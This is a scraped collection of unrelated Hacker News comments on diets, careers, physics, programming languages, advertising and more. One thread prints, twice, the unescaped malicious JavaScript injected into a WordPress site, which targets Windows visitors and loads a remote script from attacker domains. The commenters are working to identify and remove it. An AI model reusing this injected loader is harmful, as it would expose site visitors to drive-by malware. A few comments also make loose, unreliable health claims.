skysight-inc/HackerNews huggingface dataset:
I wonder why you think I haven't seen that video as it's been posted here multiple times and I've commented on it. I was commenting on why I should care about what Nassim Taleb thinks about carbs. He's not a particularly svelte or athletic looking person. It seems like he's getting plenty of carbs.
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I sent another email. I hope I'm not coming across as someone desperate for the position, but rather as someone who's really keen on working with them!

If I don't hear back, I'm guessing I should throw in the towel. I have their phone numbers though...would it be out of order if I called them, say, a week from now, if I don't get an email reply? Or would that be creepy?

The optimist in me has been crossing fingers in the hope that my application fell through the cracks, as you put it. I will be totally dejected if I don't hear back (at least an outright rejection will put my mind at ease!), especially as I had believed I had built quite a rapport with my latest interviewer who seemed keen on having me on-site.
No, I hadn't, thank you for the tip actually.

However, I did not commit it, I never asserted "true mystics" or anything along those lines. I in fact admitted that my choice of words was poor, and that I was having difficulty choosing a better description.
Reality: Old Spice sales are actually up 107% in the last month
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As a fellow physicist, I agree with you on all counts (except I believe the TR blogger is actually a physicist as well, used to write on www.arxivblog.com). The arXiv is far from the best source of actual scientific developments, but it sure is a great source of 'This idea just might change everything we knew about science!!' blog posts. I'm not sure if I can recall any examples of where this kind of theory has been developed into something more legitimate.

Not that there isn't newsworthy stuff posted to the arXiv, and not that it isn't worthwhile, thought-provoking and fun to read these papers and these ideas - you should just have an idea of where it's coming from, and where it's likely headed...
AllegiantAir does this. At 6'2" I actually had enough legroom too, because non-reclining seats are thinner than the reclining seats. Not only do non-reclining seats weigh about 10-20lbs less (if I remember correctly) they are indeed cheaper. For an airline--the weight alone is a big deal.
To those downvoting me, you're welcome to speak up. This is a game of logic, and I was hoping that this community could keep the religious knee-jerk reactions down to a minimum. :-\
http://econfuture.wordpress.com/2010/07/27/flat-or-declining...

"When consumers in the U.S. finally fall off the edge of the cliff, where will demand come from? The reflexive answer is always “from consumers China and other emerging economies.” There are a few problems with that: (1) workers in China and other low wage countries don’t make very much and, therefore, have less to spend. (2) Those low wage workers have a very strong propensity to save, rather than consume. (In China the saving rate may be as high as 30%, and consumer spending is only around a third of GDP v. 70% in the U.S.) (3) It would be extraordinarily naive to think that the Chinese government will not manipulate things to insure that the vast majority of sales in China go to Chinese companies (in many cases companies using technology transferred from the West as part of China’s industrial policy.)

The fact is that we are very far indeed from a place where consumers in countries like China are going to pick up the slack when consumers in America and the rest of the developed world finally fail to get the job done. And there’s yet another problem: While China has benefited from globalization, it is by no means immune to the impacts of automation. In the long run factories and other business in China will also automate, and unemployment will become a serious problem. In fact, this is already occurring in industries like textiles where automation has been progressing at a rapid rate."
I'm going to try to give you something totally off the wall. Don't forget that mathematicians were people. Here's three biographies of some of my favorite mathematicians:

http://www-history.mcs.st-and.ac.uk/Biographies/Poincare.htm...

http://www-history.mcs.st-and.ac.uk/Biographies/Peirce_Charl...

http://www-history.mcs.st-and.ac.uk/Biographies/Smale.html

Also, please check out some of the giants on that site and wikipedia: Gauss, Laplace, Euler. Why were they interested in what they were? What techniques did they develop? A very crucial question that very few ever ask: Would they have done much differently had they had access to a computer? (Of course).

Focusing on proofs to learn math is very perverse. A proof in a textbook is a proof that has been refined an almost ludicrous number of times. Definitions and axioms have even been optimized for the sake of elegance of said proofs. Don't get me wrong, a connoisseur appreciates what has been done. However, removed from the problem that motivated this way of thinking, mathematical techniques can often confuse more than enlighten.

What would you like to learn exactly?
So this is the first launch of a PC game that is 60 dollars (base value)? Wow. Even xbox games that are also out on pc the same day are 50.
Interesting that today's Mac (iMac and Mac pro) switch back to ATI graphic chips (no, I don't believe they will buy AMD, just interesting). I think Apple believes in the cloud, but hasn't got it down. The new Macs would seem to indicate that there is real engineering money being spent in the Mac line.
Here is the unescaped version of what it is doing:

<script>var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); };</script>
>But what if they don't actually want anything?

Impossible. If the businesses don't want anything, as another poster noted, they'll distribute earnings to shareholders. Surely, those shareholders, even if they want for nothing physical, don't want to die. Therefore, they would like better healthcare innovations. Do they really want like all the fiddling required just to watch internet-based video on their home theater systems? Do they like running errands? There's plenty of room for innovation and the sales that will come with it.
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It is not necessary to use the word "true" to fall into the "No True Scotsman" fallacy.

They key point is that you go around defining the word "X" in a non-conventional way to make sure that your "all X have property Y" is trivially true.
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I still believe multi-threading has its value, and I don't think it's wise dismissing it.

The main problem scripting languages like Python have is that their standard libraries are written in C ... this is a technical debt and always the main culprit for the slow evolution of their VMs. As far as Python is concerned, many people aren't using Jython/IronPython/PyPy because NumPy won't run on those.

I believe the future lies in projects like Rubinius / PyPy ... but it will be an uphill struggle ... it's easier to get rid of scabies than to get rid of that GIL. And they've missed that opportunity with Python 3.
My advice is: get a mentor. Ask for help to someone that knows(someone who has experienced the change you want to make, this has to be proved).

There are a lot of subtle things that makes a difference. IMHO If you ask for advice here you will find good advice mixed with other totally nefarious for your health.

Look for methods that works, and the best way to do this is to search for people that were overweight and are not anymore.

My personal advice: The 30 days method is very important to master in your life, humans are habit machines, what you "trained" for years(not doing exercise, eating bad, relationships, whatever...) can't be changed in days. Psychologist now know that changing a habit takes 30-60 days. You will find references from Tony Robbins, Even Pagan, and a lot of people if you study psychology to this phenomenon:

http://www.stevepavlina.com/blog/2005/04/30-days-to-success/

30 Is a magic number, really. If you put yourself inversion glasses(up is down,down is up) you will see upside down for 30 days. If you then remove your glasses, you will see upside down for 30 days again!!

So if you want to exercise daily, you make a commitment to ONLY change that area of your life in 30 days. If you try more, you will fail as it takes a lot of energy on your part. Once you do something on your life for more than 30 days, it becomes a habit, it will become difficult to NOT exercise daily.
It's not what you are doing, it's what you AREN'T doing.

Your entire post listed all the things that you dislike about your life. Tell me what do you like about life?

It seems to me as though you have no real passions (you didn't list any). My best advice would be to find something that you are passionate about, something that you truly love doing in your free time and do it!

It will make your entire life more rewarding. For me, that rush came through skydiving. I had always wanted to learn and finally decided one day to drive out to the airport and make it happen. Haven't looked back since.

For me, jumping out of a plane and following towards earth puts the rest of life into perspective. I challenge you to find something that gives you that same feeling. Something that makes you LIVE.

What do you love or have always wanted to do? Your childhood dream? No excuses, make it happen. What's stopping you? Money should never be a deciding factor.

I understand that these couple of paragraphs may not be enough motivation. If you would like to chat, feel free to PM me.
Your ignorance is showing and it's embarrassing

I don't think continuing this discussion is likely to be a particularly productive use of my time. I have a paper I should be working on.

Have fun believing whatever it is that you enjoy believing.
> and also supplement my animals' diets with garlic powder.

Sweet, garlic flavored pork!
That's certainly true for the first programming class, but I don't think it has any effect on the first theory class.
In the standard theory, t=0 is a "singularity." Energy density becomes infinite, for example, at t=0. What that really means is that t=0 is undefined in the same sense that 1/0 is undefined.

Consider the function 1/x. For all positive x, 1/x is defined. As you approach x=0 from the right, 1/x approaches infinity. Same thing for the density of the universe. But the point 1/0 itself is undefined, even though the limit is well defined from the right. Likewise, t=0 itself is undefined, even though the density is well defined for all times greater than t=0.

I wouldn't really consider this an "assumption." It is actually a consequence of assuming that the universe is expanding in accordance with the law of gravity and that energy is conserved. The only way to do it is to construct a "metric" ( http://en.wikipedia.org/wiki/Friedmann%E2%80%93Lema%C3%AEtre... ) where a bunch of parameters are undefined at t=0, but well-defined thereafter.
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Digital distribution isn't awesome for console games; the prices are exactly the same but you can't trade in a physical copy or loan it to someone. Not that your points aren't good.

The real competition for Gamestop seems to be Future Shop/Best Buy and other big boxes, who seem to offer better used game prices than Gamestop. Given that, I'm not sure why Gamestop's prices are so... unexceptional... Maybe if they lowered their prices they wouldn't be in trouble.
Is that link off the server directly or via a webserver?

edit:Searching for 'emapis.org' (from jacquesm's comment) gets me http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre... in Google. It's old, but I suspect something similar at work.
Because Redis is in part I/O bound, this is why Redis 2.0, and even more Redis 2.2 (currently git master) are using the spare CPU in order to use less memory, with specially encoding for small lists, sets, hashes.

Btw 25% the speed means a lot slower :)
My guess was that the difference for small keys that the redis-benchmark is stressing would be smaller.

I think that with big lists or using the SORT command the difference will be bigger.

Cheers,
Salvatore
I think that's a bit of an underestimate. Short sleeves basically expose only the skin on the top of your arm from the elbow down. That's a lot less surface area compared to your full front and back, shoulders, and neck. Your chest/shoulders/upper back will also be receiving direct, unbroken sunlight, while your arms are probably blocked a good deal when they are at your side by shadows.

If it were that easy I don't think deficiency would be so prevalent. I agree that it's almost impossible not to get 30 min of partial exposure.
Sounds like regular Operations work to me. I don't understand why it needs to be differentiated.
I like to be flippant and just blame Activision for that nonsense.
Extreme Automation. Dynamic Control with or without the Cloud.
Using two fingers to scroll has become so natural to me that if I use a non-Apple trackpad I'm momentarily bewildered why it doesn't work.
I've been wondering lately if high profits per employee could be a negative externality for society. That is, if enough jobs aren't being created to give people something meaningful to do, then idleness and disruption (a la dctoedt's excellent comment) become a problem. While America is wealthier overall today, it seems like the previous 100 years did more to spread the growth in wealth across the whole population and make society wealthier as people benefited from universities, roads, better health and housing, etc. These aren't fully formed or vetted ideas, just thoughts.

Regarding the article, if GM is selling and making more cars overseas, then maybe just owning 60% of the company and profits is the best outcome. Structurally, they were never going to employ 500,000 American workers again.
Well, I'm not sure if he would meet your criteria for being a mystic, but Aquinas is reported to have had experiences typically labeled "mystical," such as visions of Christ and a deep interior perception of God.

Not trying to argue, but many people don't know that aspect of Aquinas's life. :-)
the real kicker will be if they do not allow you to disconnect your game serial from your battle.net ID - eg: you can't resell it.
I understand that. :-)

Again, I don't think I committed the "No True Scotsman" fallacy.
Figure out the - Why.
Why do you want to achieve your goals?

Great article titled "Be careful what you wish for"
http://finance.yahoo.com/expert/article/moneyhappy/167884

Snippet from that article:

It’s nice to be passionate about work, of course, but are you really having meaningful relationships, are you really developing as a person in ways that are meaningful for you? It’s trite to say, but when it gets to end of life and you’re reflecting back, what were the things that were deeply important? It’s easy to lose track of them over the short-term.
Super short notice. The event is today at 7pm at Showbox SoDo. I can't make it, but it sounds like a great opportunity to get your hands on real WP7 devices. Wish I had found out about it earlier.
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I bet it is emapis. org, see:

http://www.urlvoid.com/scan/emapis.org

As the unescaped javascript shows, it's a random chance for different sites, so it might be somewhat hard to reproduce. So far I haven't been able to pull a mootools.js from those sites to see it.

Edit: the js I'm getting back is just (function(){var error = 404;})();

Also, with regards to your site, here is the google safebrowse: http://www.google.com/safebrowsing/diagnostic?site=jasonlbap...

It shows that you also had stuff going to smartenergymodel[.]com, which is also listed on that unmaskparasites link that everyone is passing around.
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Way more details on that: http://knol.google.com/k/why-are-europeans-white-e1#
FWIW, I did not downvote you. But you still do not seem to comprehend the fact that the standard theory assumes time is finite. In order to disprove such a theory, you cannot just assume that time is infinite, because you are assuming the conclusion. If you convince me that you actually understand this, I will continue responding to you.
It's ironic you say the Apple trackpads allow you to move your fingers less. My biggest complaint about Apple laptops has always been the excessive mouse movement required, at least vs. the trackpoints I love.
There is an exploit in the first line.

document.write(unescape(...giberrish...))

That writes a script tag into the document with the following payload:

var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); };

I'm thinking that this is malicious (a cursory search for emapis.org shows it to be a malware site)

I'm not super familiar with cufon but this does not appear to be kosher.

Here is a link that may prove useful http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre...
>It's like suggesting that a little heroin on the weekend would really brighten up the week.

I hope you won't need me to point out the various ways in which your analogy between humour and, er, heroin breaks down.
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With regulations coming up and competition on Facebook MySpace etc I'm writing to see what others on ycombinator use for traffic sources, or if any ycombinator companies have any ad platforms.
Great post, but I wish startups,as well as this article, devoted more attention to SEO and paid advertising like PPC/Social. In many industries, paid traffic will be the primary driver of signups and sales, and it's a mistake to think you can replace a large scale media buy campaign with a few blog posts or tweets.

Groupon and Zynga are excellent examples of this.

Also, don't underestimate the power of affiliate programs. As an affiliate I have the unique perspective of promoting Zynga, Groupon, Zoosk, and other "viral" competitors, and I can tell you that they had one thing in common: one of the main drivers of their early growth and traction was a well-managed affiliate program, with numerous affiliates pushing thousands of signups a day to them.

This requires a budget and strong understanding of the affiliate space, but it can be a tremendously powerful shortcut to success.
I think if you're a funded startup with a clear path to profitability, you should absolutely devote a significant chunk of your budget to paid advertising(assuming you or someone you hire knows how to optimize and manage the campaign so you don't lose money).
FWIW, I did not downvote you.

I know, HN doesn't allow downvoting of responses. :-p

But you still do not seem to comprehend the fact that the standard theory assumes time is finite.

Really? I thought I was very clear in demonstrating that I understood this through and through, hence the accusation of faith. I did not simply use an assumption that time is infinite as disproof, in fact I did not disprove BBT at all in my response, but merely gave reasons why I thought it was extremely unlikely to have a start.
Not to mention that even without risks of total upheaval, if nobody but the top 1% has any money, who are you going to sell goods to?
webserver directly. let me see if elegantthemes has updated it. im trying to get rid of the junk that when unescaped has the problem.
Well, there's the investigation linked in the article [1]. This [2] is a review of various types of unconscious prejudices that people entertain and you could well imagine what the consequences are for women. However, if you want experimental evidence, then Googling 'experiment gender discrimination' (leaving out 'for' or 'against' on purpose), yields plenty [3] of [4] studies [5] that support the common assertion that women are continuously being discriminated against. Admission to, and opportunities within, CS is simply no exception.

I can't do any better than Googling it; that's what I did years ago when I was looking to verify that women really were being discriminated against, because I figured we would surely be past such barbaric behavior. Since then, I wised up on the fact that we're just not really that much in control of our behavior. I'm not a psychologist, but I do know how to find and apprehend research in such a domain. Meta-analysis studies are quite convenient :).

[1] http://web.mit.edu/fnl/women/women.html

[2] http://www.fas.harvard.edu/~mrbworks/articles/1995_PsyRev.pd...

[3] http://econ2.econ.iastate.edu/classes/econ321/Orazem/darity_...

[4] http://economics.uchicago.edu/download/JLISTdisc.pdf

[5] http://www.tamu.edu/classes/psyc/payne/ID/ID%2520articles/He...
It's a large, blazing fiery mystic beast that is greatly feared for its ability to kill masses of people through silent, sneaky death via waves. Many people are convinced one day it will destroy everything.

You're missing out, really.
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